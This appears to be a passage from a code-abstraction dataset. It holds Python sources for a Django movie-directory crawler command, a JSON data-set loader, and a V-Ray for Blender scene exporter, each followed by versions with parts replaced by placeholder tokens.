Crawler(self, loop, aiohttp_session, report)\n for directory in MovieDirectory.objects.all():\n crawler.queue_update_tasks(directory, tasks)\n if tasks:\n loop.run_until_complete(asyncio.wait(tasks))\n loop.run_until_complete(aiohttp_session.close())\n loop.close()\n Movie.objects.filter(path='').delete()\n report.display()\n", "<import token>\n<assignment token>\n<class token>\n<class token>\n\n\nclass Command(BaseCommand):\n help = 'Update local movie list'\n\n def handle(self, *args, **options):\n report = Report()\n report.start()\n loop = asyncio.new_event_loop()\n asyncio.set_event_loop(loop)\n connector = aiohttp.TCPConnector(limit=settings.AIOHTTP_LIMIT,\n force_close=True, loop=loop)\n aiohttp_session = aiohttp.ClientSession(loop=loop, connector=connector)\n tasks = []\n crawler = Crawler(self, loop, aiohttp_session, report)\n for directory in MovieDirectory.objects.all():\n crawler.queue_update_tasks(directory, tasks)\n if tasks:\n loop.run_until_complete(asyncio.wait(tasks))\n loop.run_until_complete(aiohttp_session.close())\n loop.close()\n Movie.objects.filter(path='').delete()\n report.display()\n", "<import token>\n<assignment token>\n<class token>\n<class token>\n\n\nclass Command(BaseCommand):\n <assignment token>\n\n def handle(self, *args, **options):\n report = Report()\n report.start()\n loop = asyncio.new_event_loop()\n asyncio.set_event_loop(loop)\n connector = aiohttp.TCPConnector(limit=settings.AIOHTTP_LIMIT,\n force_close=True, loop=loop)\n aiohttp_session = aiohttp.ClientSession(loop=loop, connector=connector)\n tasks = []\n crawler = Crawler(self, loop, aiohttp_session, report)\n for directory in MovieDirectory.objects.all():\n crawler.queue_update_tasks(directory, tasks)\n if tasks:\n loop.run_until_complete(asyncio.wait(tasks))\n loop.run_until_complete(aiohttp_session.close())\n loop.close()\n Movie.objects.filter(path='').delete()\n report.display()\n", "<import token>\n<assignment token>\n<class token>\n<class token>\n\n\nclass Command(BaseCommand):\n <assignment token>\n <function token>\n", "<import token>\n<assignment token>\n<class token>\n<class token>\n<class token>\n" ]

[ "\"\"\"Provide a method of accessing data from the data sets\r\n\r\nThis should deal with issues such as relative file paths breaking and\r\ndefine the most up to date data set to run tests on\r\n\r\n\"\"\"\r\nimport json\r\n\r\nfrom os import path\r\n\r\n\r\nDNAME = path.dirname(path.abspath(__file__))\r\nDATA_SET_DIRECTORY_ABSPATH = path.join(DNAME, \"data_set\")\r\n\r\nLATEST = \"items-7_17_1-en_US_pretty.json\"\r\nLATEST_DATA_SET_PATH = path.join(DATA_SET_DIRECTORY_ABSPATH, LATEST)\r\n\r\n\r\ndef load_data(filepath=None):\r\n \"\"\"Load the items from a json file into a dict\"\"\"\r\n if filepath is None:\r\n filepath = LATEST_DATA_SET_PATH\r\n\r\n with open(filepath) as file:\r\n return json.load(file)\r\n\r\n\r\ndef save_data(data_set, filepath, pretty=False):\r\n \"\"\"Save the data set.\r\n \r\n If pretty is specified, make the file human readable.\"\"\"\r\n with open(filepath, \"w\") as file:\r\n if pretty:\r\n file.write(\r\n json.dumps(data_set, indent=4, sort_keys=True))\r\n else:\r\n file.write(\r\n json.dumps(data_set, separators=(',', ':'), sort_keys=True))\r\n", "<docstring token>\nimport json\nfrom os import path\nDNAME = path.dirname(path.abspath(__file__))\nDATA_SET_DIRECTORY_ABSPATH = path.join(DNAME, 'data_set')\nLATEST = 'items-7_17_1-en_US_pretty.json'\nLATEST_DATA_SET_PATH = path.join(DATA_SET_DIRECTORY_ABSPATH, LATEST)\n\n\ndef load_data(filepath=None):\n \"\"\"Load the items from a json file into a dict\"\"\"\n if filepath is None:\n filepath = LATEST_DATA_SET_PATH\n with open(filepath) as file:\n return json.load(file)\n\n\ndef save_data(data_set, filepath, pretty=False):\n \"\"\"Save the data set.\n \n If pretty is specified, make the file human readable.\"\"\"\n with open(filepath, 'w') as file:\n if pretty:\n file.write(json.dumps(data_set, indent=4, sort_keys=True))\n else:\n file.write(json.dumps(data_set, separators=(',', ':'),\n sort_keys=True))\n", "<docstring token>\n<import token>\nDNAME = path.dirname(path.abspath(__file__))\nDATA_SET_DIRECTORY_ABSPATH = path.join(DNAME, 'data_set')\nLATEST = 'items-7_17_1-en_US_pretty.json'\nLATEST_DATA_SET_PATH = path.join(DATA_SET_DIRECTORY_ABSPATH, LATEST)\n\n\ndef load_data(filepath=None):\n \"\"\"Load the items from a json file into a dict\"\"\"\n if filepath is None:\n filepath = LATEST_DATA_SET_PATH\n with open(filepath) as file:\n return json.load(file)\n\n\ndef save_data(data_set, filepath, pretty=False):\n \"\"\"Save the data set.\n \n If pretty is specified, make the file human readable.\"\"\"\n with open(filepath, 'w') as file:\n if pretty:\n file.write(json.dumps(data_set, indent=4, sort_keys=True))\n else:\n file.write(json.dumps(data_set, separators=(',', ':'),\n sort_keys=True))\n", "<docstring token>\n<import token>\n<assignment token>\n\n\ndef load_data(filepath=None):\n \"\"\"Load the items from a json file into a dict\"\"\"\n if filepath is None:\n filepath = LATEST_DATA_SET_PATH\n with open(filepath) as file:\n return json.load(file)\n\n\ndef save_data(data_set, filepath, pretty=False):\n \"\"\"Save the data set.\n \n If pretty is specified, make the file human readable.\"\"\"\n with open(filepath, 'w') as file:\n if pretty:\n file.write(json.dumps(data_set, indent=4, sort_keys=True))\n else:\n file.write(json.dumps(data_set, separators=(',', ':'),\n sort_keys=True))\n", "<docstring token>\n<import token>\n<assignment token>\n\n\ndef load_data(filepath=None):\n \"\"\"Load the items from a json file into a dict\"\"\"\n if filepath is None:\n filepath = LATEST_DATA_SET_PATH\n with open(filepath) as file:\n return json.load(file)\n\n\n<function token>\n", "<docstring token>\n<import token>\n<assignment token>\n<function token>\n<function token>\n" ]

[ "#\n# V-Ray For Blender\n#\n# http://chaosgroup.com\n#\n# Author: Andrei Izrantcev\n# E-Mail: [email protected]\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see <http://www.gnu.org/licenses/>.\n#\n# All Rights Reserved. V-Ray(R) is a registered trademark of Chaos Software.\n#\n\nimport os\nimport time\nimport datetime\n\nimport bpy\n\nfrom vb30.lib.VRayStream import VRayExportFiles\nfrom vb30.lib.VRayStream import VRayPluginExporter\nfrom vb30.lib.VRayStream import VRayFilePaths\n\nfrom vb30.lib import SysUtils, BlenderUtils\n\nfrom vb30.nodes import export as NodesExport\n\nfrom vb30.exporting import exp_init\nfrom vb30.exporting import exp_settings\nfrom vb30.exporting import exp_channels\nfrom vb30.exporting import exp_frame\nfrom vb30.exporting import exp_run\nfrom vb30.exporting import exp_anim_full\nfrom vb30.exporting import exp_anim_camera_loop\n\nfrom vb30 import debug\n\nHAS_VB35 = SysUtils.hasRtExporter()\nif HAS_VB35:\n import _vray_for_blender_rt\n\[email protected]\ndef Export(bus, scene, engine, isPreview=False):\n o = bus['output']\n\n VRayScene = scene.vray\n VRayExporter = VRayScene.Exporter\n\n ts = time.time()\n\n o.write('MAIN', \"\\n\")\n o.write('MAIN', SysUtils.GetVRsceneTemplate(\"defaults.vrscene\"))\n\n if VRayExporter.draft:\n o.write('MAIN', \"\\n\")\n o.write('MAIN', SysUtils.GetVRsceneTemplate(\"draft.vrscene\"))\n\n exp_channels.ExportRenderElements(bus)\n\n if VRayExporter.animation_mode in {'FRAMEBYFRAME', 'NONE'}:\n err = exp_frame.ExportSingleFrame(bus)\n\n elif VRayExporter.animation_mode == 'CAMERA_LOOP':\n err = exp_anim_camera_loop.ExportCameraLoop(bus)\n\n else:\n err = exp_anim_full.ExportAnimation(bus,\n scene.frame_start,\n scene.frame_end,\n scene.frame_step\n )\n\n if VRayScene.Includer.use:\n if VRayScene.Includer.use:\n o.write('MAIN', \"\\n// Include additional *.vrscene files\")\n for includeFile in VRayScene.Includer.nodes:\n if not includeFile.use:\n continue\n filepath = BlenderUtils.GetFullFilepath(includeFile.scene)\n o.write('MAIN', '\\n#include \"%s\" // %s' % (filepath, includeFile.name))\n o.write('MAIN', '\\n')\n\n # No need for interpolate() anymore\n o.setAnimation(False)\n exp_settings.ExportSettings(bus)\n\n te = time.time() - ts\n td = datetime.timedelta(seconds=te)\n d = datetime.datetime(1,1,1) + td\n\n if not bus['preview']:\n debug.PrintMsg(\"Export done [%.2i:%.2i:%.2i]\" % (d.hour, d.minute, d.second))\n\n return err\n\n\ndef ExportEx(bus):\n debug.Debug(\"ExportEx()\")\n\n err = None\n\n scene = bus['scene']\n engine = bus['engine']\n o = bus['output']\n\n VRayScene = scene.vray\n VRayExporter = VRayScene.Exporter\n\n pm = VRayFilePaths()\n\n # Setting user defined value here\n # It could be overriden in 'initFromScene'\n # depending on VRayDR settings\n pm.setSeparateFiles(VRayExporter.useSeparateFiles)\n\n pm.initFromScene(engine, scene)\n pm.printInfo()\n\n fm = VRayExportFiles(pm)\n fm.setOverwriteGeometry(VRayExporter.auto_meshes)\n\n rtExporter = HAS_VB35 and engine.bl_idname == 'VRAY_RENDER_RT'\n try:\n fm.init(not rtExporter)\n except Exception as e:\n debug.ExceptionInfo(e)\n return \"Error initing files!\"\n\n o.setFileManager(fm)\n o.setPreview(engine.is_preview)\n\n if not rtExporter:\n bus['exporter'] = exp_init.InitExporter(bus)\n\n try:\n # We do everything here basically because we want to close files\n # if smth goes wrong...\n if not rtExporter:\n err = Export(bus, scene, engine, engine.is_preview)\n else:\n if not VRayExporter.animation_mode in {'NONE', 'CAMERA_LOOP'}:\n o.setAnimation(True)\n o.setFrameStart(scene.frame_start)\n o.setFrameEnd(scene.frame_end)\n o.setFrameStep(scene.frame_step)\n elif VRayExporter.animation_mode == 'CAMERA_LOOP':\n cameraCount = len([1 for o in scene.objects if o.type == 'CAMERA' and o.data.vray.use_camera_loop])\n o.setAnimation(True)\n o.setFrameStart(1)\n o.setFrameEnd(cameraCount)\n o.setFrameStep(1)\n\n init = {\n 'context' : bpy.context.as_pointer(),\n 'engine' : engine.as_pointer(),\n 'data' : bpy.data.as_pointer(),\n 'scene' : scene.as_pointer(),\n 'mainFile' : fm.getFilePathByPluginType('MAIN'),\n 'objectFile' : fm.getFilePathByPluginType('OBJECT'),\n 'envFile' : fm.getFilePathByPluginType('WORLD'),\n 'geometryFile' : fm.getFilePathByPluginType('GEOMETRY'),\n 'lightsFile' : fm.getFilePathByPluginType('LIGHT'),\n 'materialFile' : fm.getFilePathByPluginType('MATERIAL'),\n 'textureFile' : fm.getFilePathByPluginType('TEXTURE'),\n 'cameraFile' : fm.getFilePathByPluginType('CAMERA'),\n }\n\n # Free anything we have\n if engine.renderer:\n del engine.renderer\n\n renderer = _vray_for_blender_rt.init(**init)\n if renderer:\n setattr(engine, 'renderer', renderer)\n _vray_for_blender_rt.render(renderer)\n\n except Exception as e:\n debug.ExceptionInfo(e)\n err = str(e)\n finally:\n exp_init.ShutdownExporter(bus)\n\n return err\n\n\ndef ExportAndRun(engine, scene):\n if engine.test_break():\n return \"Export is interrupted!\"\n\n VRayScene = scene.vray\n\n o = VRayPluginExporter()\n\n bus = {\n 'output' : o,\n\n 'engine' : engine,\n 'scene' : scene,\n 'camera' : scene.camera,\n\n 'skipObjects' : set(),\n 'environment_volume' : set(),\n 'gizmos' : set(),\n\n 'preview' : engine.is_preview,\n\n # Used to pass nodes into plugin exporter\n # to access some special data like \"fake\" textures\n 'context' : {\n 'node' : None,\n },\n\n 'cache' : {\n 'plugins' : set(),\n 'mesh' : set(),\n },\n\n 'defaults' : {\n 'brdf' : \"BRDFNOBRDFISSET\",\n 'material' : \"MANOMATERIALISSET\",\n 'texture' : \"TENOTEXTUREIESSET\",\n 'uvwgen' : \"DEFAULTUVWC\",\n 'blend' : \"TEDefaultBlend\",\n },\n }\n\n if bus['camera'].type != 'CAMERA':\n return \"Scene's active camera is not of type camera\"\n\n err = ExportEx(bus)\n if err is not None:\n return err\n\n err = exp_run.RunEx(bus)\n if err is not None:\n return err\n\n return None\n\n\n# First check the animation type:\n#\n# 'FRAMEBYFRAME' \"Export and render frame by frame\"\n# 'FULL' \"Export full animation range then render\"\n# 'NOTMESHES' \"Export full animation range without meshes\"\n# 'CAMERA' \"Export full animation of camera motion\"\n#\n# 'FRAMEBYFRAME' should also support exporting of 2 (or more) frames at once for correct motion blur\n#\ndef RenderScene(engine, scene):\n VRayScene = scene.vray\n VRayExporter = VRayScene.Exporter\n\n err = None\n\n if VRayExporter.animation_mode == 'FRAMEBYFRAME':\n # Store current frame\n selected_frame = scene.frame_current\n\n f = scene.frame_start\n while(f <= scene.frame_end):\n scene.frame_set(f)\n\n err = ExportAndRun(engine, scene)\n if err is not None:\n break\n\n f += scene.frame_step\n\n # Restore selected frame\n scene.frame_set(selected_frame)\n\n else:\n err = ExportAndRun(engine, scene)\n\n return err\n", "import os\nimport time\nimport datetime\nimport bpy\nfrom vb30.lib.VRayStream import VRayExportFiles\nfrom vb30.lib.VRayStream import VRayPluginExporter\nfrom vb30.lib.VRayStream import VRayFilePaths\nfrom vb30.lib import SysUtils, BlenderUtils\nfrom vb30.nodes import export as NodesExport\nfrom vb30.exporting import exp_init\nfrom vb30.exporting import exp_settings\nfrom vb30.exporting import exp_channels\nfrom vb30.exporting import exp_frame\nfrom vb30.exporting import exp_run\nfrom vb30.exporting import exp_anim_full\nfrom vb30.exporting import exp_anim_camera_loop\nfrom vb30 import debug\nHAS_VB35 = SysUtils.hasRtExporter()\nif HAS_VB35:\n import _vray_for_blender_rt\n\n\[email protected]\ndef Export(bus, scene, engine, isPreview=False):\n o = bus['output']\n VRayScene = scene.vray\n VRayExporter = VRayScene.Exporter\n ts = time.time()\n o.write('MAIN', '\\n')\n o.write('MAIN', SysUtils.GetVRsceneTemplate('defaults.vrscene'))\n if VRayExporter.draft:\n o.write('MAIN', '\\n')\n o.write('MAIN', SysUtils.GetVRsceneTemplate('draft.vrscene'))\n exp_channels.ExportRenderElements(bus)\n if VRayExporter.animation_mode in {'FRAMEBYFRAME', 'NONE'}:\n err = exp_frame.ExportSingleFrame(bus)\n elif VRayExporter.animation_mode == 'CAMERA_LOOP':\n err = exp_anim_camera_loop.ExportCameraLoop(bus)\n else:\n err = exp_anim_full.ExportAnimation(bus, scene.frame_start, scene.\n frame_end, scene.frame_step)\n if VRayScene.Includer.use:\n if VRayScene.Includer.use:\n o.write('MAIN', '\\n// Include additional *.vrscene files')\n for includeFile in VRayScene.Includer.nodes:\n if not includeFile.use:\n continue\n filepath = BlenderUtils.GetFullFilepath(includeFile.scene)\n o.write('MAIN', '\\n#include \"%s\" // %s' % (filepath,\n includeFile.name))\n o.write('MAIN', '\\n')\n o.setAnimation(False)\n exp_settings.ExportSettings(bus)\n te = time.time() - ts\n td = datetime.timedelta(seconds=te)\n d = datetime.datetime(1, 1, 1) + td\n if not bus['preview']:\n debug.PrintMsg('Export done [%.2i:%.2i:%.2i]' % (d.hour, d.minute,\n d.second))\n return err\n\n\ndef ExportEx(bus):\n debug.Debug('ExportEx()')\n err = None\n scene = bus['scene']\n engine = bus['engine']\n o = bus['output']\n VRayScene = scene.vray\n VRayExporter = VRayScene.Exporter\n pm = VRayFilePaths()\n pm.setSeparateFiles(VRayExporter.useSeparateFiles)\n pm.initFromScene(engine, scene)\n pm.printInfo()\n fm = VRayExportFiles(pm)\n fm.setOverwriteGeometry(VRayExporter.auto_meshes)\n rtExporter = HAS_VB35 and engine.bl_idname == 'VRAY_RENDER_RT'\n try:\n fm.init(not rtExporter)\n except Exception as e:\n debug.ExceptionInfo(e)\n return 'Error initing files!'\n o.setFileManager(fm)\n o.setPreview(engine.is_preview)\n if not rtExporter:\n bus['exporter'] = exp_init.InitExporter(bus)\n try:\n if not rtExporter:\n err = Export(bus, scene, engine, engine.is_preview)\n else:\n if not VRayExporter.animation_mode in {'NONE', 'CAMERA_LOOP'}:\n o.setAnimation(True)\n o.setFrameStart(scene.frame_start)\n o.setFrameEnd(scene.frame_end)\n o.setFrameStep(scene.frame_step)\n elif VRayExporter.animation_mode == 'CAMERA_LOOP':\n cameraCount = len([(1) for o in scene.objects if o.type ==\n 'CAMERA' and o.data.vray.use_camera_loop])\n o.setAnimation(True)\n o.setFrameStart(1)\n o.setFrameEnd(cameraCount)\n o.setFrameStep(1)\n init = {'context': bpy.context.as_pointer(), 'engine': engine.\n as_pointer(), 'data': bpy.data.as_pointer(), 'scene': scene\n .as_pointer(), 'mainFile': fm.getFilePathByPluginType(\n 'MAIN'), 'objectFile': fm.getFilePathByPluginType('OBJECT'),\n 'envFile': fm.getFilePathByPluginType('WORLD'),\n 'geometryFile': fm.getFilePathByPluginType('GEOMETRY'),\n 'lightsFile': fm.getFilePathByPluginType('LIGHT'),\n 'materialFile': fm.getFilePathByPluginType('MATERIAL'),\n 'textureFile': fm.getFilePathByPluginType('TEXTURE'),\n 'cameraFile': fm.getFilePathByPluginType('CAMERA')}\n if engine.renderer:\n del engine.renderer\n renderer = _vray_for_blender_rt.init(**init)\n if renderer:\n setattr(engine, 'renderer', renderer)\n _vray_for_blender_rt.render(renderer)\n except Exception as e:\n debug.ExceptionInfo(e)\n err = str(e)\n finally:\n exp_init.ShutdownExporter(bus)\n return err\n\n\ndef ExportAndRun(engine, scene):\n if engine.test_break():\n return 'Export is interrupted!'\n VRayScene = scene.vray\n o = VRayPluginExporter()\n bus = {'output': o, 'engine': engine, 'scene': scene, 'camera': scene.\n camera, 'skipObjects': set(), 'environment_volume': set(), 'gizmos':\n set(), 'preview': engine.is_preview, 'context': {'node': None},\n 'cache': {'plugins': set(), 'mesh': set()}, 'defaults': {'brdf':\n 'BRDFNOBRDFISSET', 'material': 'MANOMATERIALISSET', 'texture':\n 'TENOTEXTUREIESSET', 'uvwgen': 'DEFAULTUVWC', 'blend':\n 'TEDefaultBlend'}}\n if bus['camera'].type != 'CAMERA':\n return \"Scene's active camera is not of type camera\"\n err = ExportEx(bus)\n if err is not None:\n return err\n err = exp_run.RunEx(bus)\n if err is not None:\n return err\n return None\n\n\ndef RenderScene(engine, scene):\n VRayScene = scene.vray\n VRayExporter = VRayScene.Exporter\n err = None\n if VRayExporter.animation_mode == 'FRAMEBYFRAME':\n selected_frame = scene.frame_current\n f = scene.frame_start\n while f <= scene.frame_end:\n scene.frame_set(f)\n err = ExportAndRun(engine, scene)\n if err is not None:\n break\n f += scene.frame_step\n scene.frame_set(selected_frame)\n else:\n err = ExportAndRun(engine, scene)\n return err\n", "<import token>\nHAS_VB35 = SysUtils.hasRtExporter()\nif HAS_VB35:\n import _vray_for_blender_rt\n\n\[email protected]\ndef Export(bus, scene, engine, isPreview=False):\n o = bus['output']\n VRayScene = scene.vray\n VRayExporter = VRayScene.Exporter\n ts = time.time()\n o.write('MAIN', '\\n')\n o.write('MAIN', SysUtils.GetVRsceneTemplate('defaults.vrscene'))\n if VRayExporter.draft:\n o.write('MAIN', '\\n')\n o.write('MAIN', SysUtils.GetVRsceneTemplate('draft.vrscene'))\n exp_channels.ExportRenderElements(bus)\n if VRayExporter.animation_mode in {'FRAMEBYFRAME', 'NONE'}:\n err = exp_frame.ExportSingleFrame(bus)\n elif VRayExporter.animation_mode == 'CAMERA_LOOP':\n err = exp_anim_camera_loop.ExportCameraLoop(bus)\n else:\n err = exp_anim_full.ExportAnimation(bus, scene.frame_start, scene.\n frame_end, scene.frame_step)\n if VRayScene.Includer.use:\n if VRayScene.Includer.use:\n o.write('MAIN', '\\n// Include additional *.vrscene files')\n for includeFile in VRayScene.Includer.nodes:\n if not includeFile.use:\n continue\n filepath = BlenderUtils.GetFullFilepath(includeFile.scene)\n o.write('MAIN', '\\n#include \"%s\" // %s' % (filepath,\n includeFile.name))\n o.write('MAIN', '\\n')\n o.setAnimation(False)\n exp_settings.ExportSettings(bus)\n te = time.time() - ts\n td = datetime.timedelta(seconds=te)\n d = datetime.datetime(1, 1, 1) + td\n if not bus['preview']:\n debug.PrintMsg('Export done [%.2i:%.2i:%.2i]' % (d.hour, d.minute,\n d.second))\n return err\n\n\ndef ExportEx(bus):\n debug.Debug('ExportEx()')\n err = None\n scene = bus['scene']\n engine = bus['engine']\n o = bus['output']\n VRayScene = scene.vray\n VRayExporter = VRayScene.Exporter\n pm = VRayFilePaths()\n pm.setSeparateFiles(VRayExporter.useSeparateFiles)\n pm.initFromScene(engine, scene)\n pm.printInfo()\n fm = VRayExportFiles(pm)\n fm.setOverwriteGeometry(VRayExporter.auto_meshes)\n rtExporter = HAS_VB35 and engine.bl_idname == 'VRAY_RENDER_RT'\n try:\n fm.init(not rtExporter)\n except Exception as e:\n debug.ExceptionInfo(e)\n return 'Error initing files!'\n o.setFileManager(fm)\n o.setPreview(engine.is_preview)\n if not rtExporter:\n bus['exporter'] = exp_init.InitExporter(bus)\n try:\n if not rtExporter:\n err = Export(bus, scene, engine, engine.is_preview)\n else:\n if not VRayExporter.animation_mode in {'NONE', 'CAMERA_LOOP'}:\n o.setAnimation(True)\n o.setFrameStart(scene.frame_start)\n o.setFrameEnd(scene.frame_end)\n o.setFrameStep(scene.frame_step)\n elif VRayExporter.animation_mode == 'CAMERA_LOOP':\n cameraCount = len([(1) for o in scene.objects if o.type ==\n 'CAMERA' and o.data.vray.use_camera_loop])\n o.setAnimation(True)\n o.setFrameStart(1)\n o.setFrameEnd(cameraCount)\n o.setFrameStep(1)\n init = {'context': bpy.context.as_pointer(), 'engine': engine.\n as_pointer(), 'data': bpy.data.as_pointer(), 'scene': scene\n .as_pointer(), 'mainFile': fm.getFilePathByPluginType(\n 'MAIN'), 'objectFile': fm.getFilePathByPluginType('OBJECT'),\n 'envFile': fm.getFilePathByPluginType('WORLD'),\n 'geometryFile': fm.getFilePathByPluginType('GEOMETRY'),\n 'lightsFile': fm.getFilePathByPluginType('LIGHT'),\n 'materialFile': fm.getFilePathByPluginType('MATERIAL'),\n 'textureFile': fm.getFilePathByPluginType('TEXTURE'),\n 'cameraFile': fm.getFilePathByPluginType('CAMERA')}\n if engine.renderer:\n del engine.renderer\n renderer = _vray_for_blender_rt.init(**init)\n if renderer:\n setattr(engine, 'renderer', renderer)\n _vray_for_blender_rt.render(renderer)\n except Exception as e:\n debug.ExceptionInfo(e)\n err = str(e)\n finally:\n exp_init.ShutdownExporter(bus)\n return err\n\n\ndef ExportAndRun(engine, scene):\n if engine.test_break():\n return 'Export is interrupted!'\n VRayScene = scene.vray\n o = VRayPluginExporter()\n bus = {'output': o, 'engine': engine, 'scene': scene, 'camera': scene.\n camera, 'skipObjects': set(), 'environment_volume': set(), 'gizmos':\n set(), 'preview': engine.is_preview, 'context': {'node': None},\n 'cache': {'plugins': set(), 'mesh': set()}, 'defaults': {'brdf':\n 'BRDFNOBRDFISSET', 'material': 'MANOMATERIALISSET', 'texture':\n 'TENOTEXTUREIESSET', 'uvwgen': 'DEFAULTUVWC', 'blend':\n 'TEDefaultBlend'}}\n if bus['camera'].type != 'CAMERA':\n return \"Scene's active camera is not of type camera\"\n err = ExportEx(bus)\n if err is not None:\n return err\n err = exp_run.RunEx(bus)\n if err is not None:\n return err\n return None\n\n\ndef RenderScene(engine, scene):\n VRayScene = scene.vray\n VRayExporter = VRayScene.Exporter\n err = None\n if VRayExporter.animation_mode == 'FRAMEBYFRAME':\n selected_frame = scene.frame_current\n f = scene.frame_start\n while f <= scene.frame_end:\n scene.frame_set(f)\n err = ExportAndRun(engine, scene)\n if err is not None:\n break\n f += scene.frame_step\n scene.frame_set(selected_frame)\n else:\n err = ExportAndRun(engine, scene)\n return err\n", "<import token>\n<assignment token>\nif HAS_VB35:\n import _vray_for_blender_rt\n\n\[email protected]\ndef Export(bus, scene, engine, isPreview=False):\n o = bus['output']\n VRayScene = scene.vray\n VRayExporter = VRayScene.Exporter\n ts = time.time()\n o.write('MAIN', '\\n')\n o.write('MAIN', SysUtils.GetVRsceneTemplate('defaults.vrscene'))\n if VRayExporter.draft:\n o.write('MAIN', '\\n')\n o.write('MAIN', SysUtils.GetVRsceneTemplate('draft.vrscene'))\n exp_channels.ExportRenderElements(bus)\n if VRayExporter.animation_mode in {'FRAMEBYFRAME', 'NONE'}:\n err = exp_frame.ExportSingleFrame(bus)\n elif VRayExporter.animation_mode == 'CAMERA_LOOP':\n err = exp_anim_camera_loop.ExportCameraLoop(bus)\n else:\n err = exp_anim_full.ExportAnimation(bus, scene.frame_start, scene.\n frame_end, scene.frame_step)\n if VRayScene.Includer.use:\n if VRayScene.Includer.use:\n o.write('MAIN', '\\n// Include additional *.vrscene files')\n for includeFile in VRayScene.Includer.nodes:\n if not includeFile.use:\n continue\n filepath = BlenderUtils.GetFullFilepath(includeFile.scene)\n o.write('MAIN', '\\n#include \"%s\" // %s' % (filepath,\n includeFile.name))\n o.write('MAIN', '\\n')\n o.setAnimation(False)\n exp_settings.ExportSettings(bus)\n te = time.time() - ts\n td = datetime.timedelta(seconds=te)\n d = datetime.datetime(1, 1, 1) + td\n if not bus['preview']:\n debug.PrintMsg('Export done [%.2i:%.2i:%.2i]' % (d.hour, d.minute,\n d.second))\n return err\n\n\ndef ExportEx(bus):\n debug.Debug('ExportEx()')\n err = None\n scene = bus['scene']\n engine = bus['engine']\n o = bus['output']\n VRayScene = scene.vray\n VRayExporter = VRayScene.Exporter\n pm = VRayFilePaths()\n pm.setSeparateFiles(VRayExporter.useSeparateFiles)\n pm.initFromScene(engine, scene)\n pm.printInfo()\n fm = VRayExportFiles(pm)\n fm.setOverwriteGeometry(VRayExporter.auto_meshes)\n rtExporter = HAS_VB35 and engine.bl_idname == 'VRAY_RENDER_RT'\n try:\n fm.init(not rtExporter)\n except Exception as e:\n debug.ExceptionInfo(e)\n return 'Error initing files!'\n o.setFileManager(fm)\n o.setPreview(engine.is_preview)\n if not rtExporter:\n bus['exporter'] = exp_init.InitExporter(bus)\n try:\n if not rtExporter:\n err = Export(bus, scene, engine, engine.is_preview)\n else:\n if not VRayExporter.animation_mode in {'NONE', 'CAMERA_LOOP'}:\n o.setAnimation(True)\n o.setFrameStart(scene.frame_start)\n o.setFrameEnd(scene.frame_end)\n o.setFrameStep(scene.frame_step)\n elif VRayExporter.animation_mode == 'CAMERA_LOOP':\n cameraCount = len([(1) for o in scene.objects if o.type ==\n 'CAMERA' and o.data.vray.use_camera_loop])\n o.setAnimation(True)\n o.setFrameStart(1)\n o.setFrameEnd(cameraCount)\n o.setFrameStep(1)\n init = {'context': bpy.context.as_pointer(), 'engine': engine.\n as_pointer(), 'data': bpy.data.as_pointer(), 'scene': scene\n .as_pointer(), 'mainFile': fm.getFilePathByPluginType(\n 'MAIN'), 'objectFile': fm.getFilePathByPluginType('OBJECT'),\n 'envFile': fm.getFilePathByPluginType('WORLD'),\n 'geometryFile': fm.getFilePathByPluginType('GEOMETRY'),\n 'lightsFile': fm.getFilePathByPluginType('LIGHT'),\n 'materialFile': fm.getFilePathByPluginType('MATERIAL'),\n 'textureFile': fm.getFilePathByPluginType('TEXTURE'),\n 'cameraFile': fm.getFilePathByPluginType('CAMERA')}\n if engine.renderer:\n del engine.renderer\n renderer = _vray_for_blender_rt.init(**init)\n if renderer:\n setattr(engine, 'renderer', renderer)\n _vray_for_blender_rt.render(renderer)\n except Exception as e:\n debug.ExceptionInfo(e)\n err = str(e)\n finally:\n exp_init.ShutdownExporter(bus)\n return err\n\n\ndef ExportAndRun(engine, scene):\n if engine.test_break():\n return 'Export is interrupted!'\n VRayScene = scene.vray\n o = VRayPluginExporter()\n bus = {'output': o, 'engine': engine, 'scene': scene, 'camera': scene.\n camera, 'skipObjects': set(), 'environment_volume': set(), 'gizmos':\n set(), 'preview': engine.is_preview, 'context': {'node': None},\n 'cache': {'plugins': set(), 'mesh': set()}, 'defaults': {'brdf':\n 'BRDFNOBRDFISSET', 'material': 'MANOMATERIALISSET', 'texture':\n 'TENOTEXTUREIESSET', 'uvwgen': 'DEFAULTUVWC', 'blend':\n 'TEDefaultBlend'}}\n if bus['camera'].type != 'CAMERA':\n return \"Scene's active camera is not of type camera\"\n err = ExportEx(bus)\n if err is not None:\n return err\n err = exp_run.RunEx(bus)\n if err is not None:\n return err\n return None\n\n\ndef RenderScene(engine, scene):\n VRayScene = scene.vray\n VRayExporter = VRayScene.Exporter\n err = None\n if VRayExporter.animation_mode == 'FRAMEBYFRAME':\n selected_frame = scene.frame_current\n f = scene.frame_start\n while f <= scene.frame_end:\n scene.frame_set(f)\n err = ExportAndRun(engine, scene)\n if err is not None:\n break\n f += scene.frame_step\n scene.frame_set(selected_frame)\n else:\n err = ExportAndRun(engine, scene)\n return err\n", "<import token>\n<assignment token>\n<code token>\n\n\[email protected]\ndef Export(bus, scene, engine, isPreview=False):\n o = bus['output']\n VRayScene = scene.vray\n VRayExporter = VRayScene.Exporter\n ts = time.time()\n o.write('MAIN', '\\n')\n o.write('MAIN', SysUtils.GetVRsceneTemplate('defaults.vrscene'))\n if VRayExporter.draft:\n o.write('MAIN', '\\n')\n o.write('MAIN', SysUtils.GetVRsceneTemplate('draft.vrscene'))\n exp_channels.ExportRenderElements(bus)\n if VRayExporter.animation_mode in {'FRAMEBYFRAME', 'NONE'}:\n err = exp_frame.ExportSingleFrame(bus)\n elif VRayExporter.animation_mode == 'CAMERA_LOOP':\n err = exp_anim_camera_loop.ExportCameraLoop(bus)\n else:\n err = exp_anim_full.ExportAnimation(bus, scene.frame_start, scene.\n frame_end, scene.frame_step)\n if VRayScene.Includer.use:\n if VRayScene.Includer.use:\n o.write('MAIN', '\\n// Include additional *.vrscene files')\n for includeFile in VRayScene.Includer.nodes:\n if not includeFile.use:\n continue\n filepath = BlenderUtils.GetFullFilepath(includeFile.scene)\n o.write('MAIN', '\\n#include \"%s\" // %s' % (filepath,\n 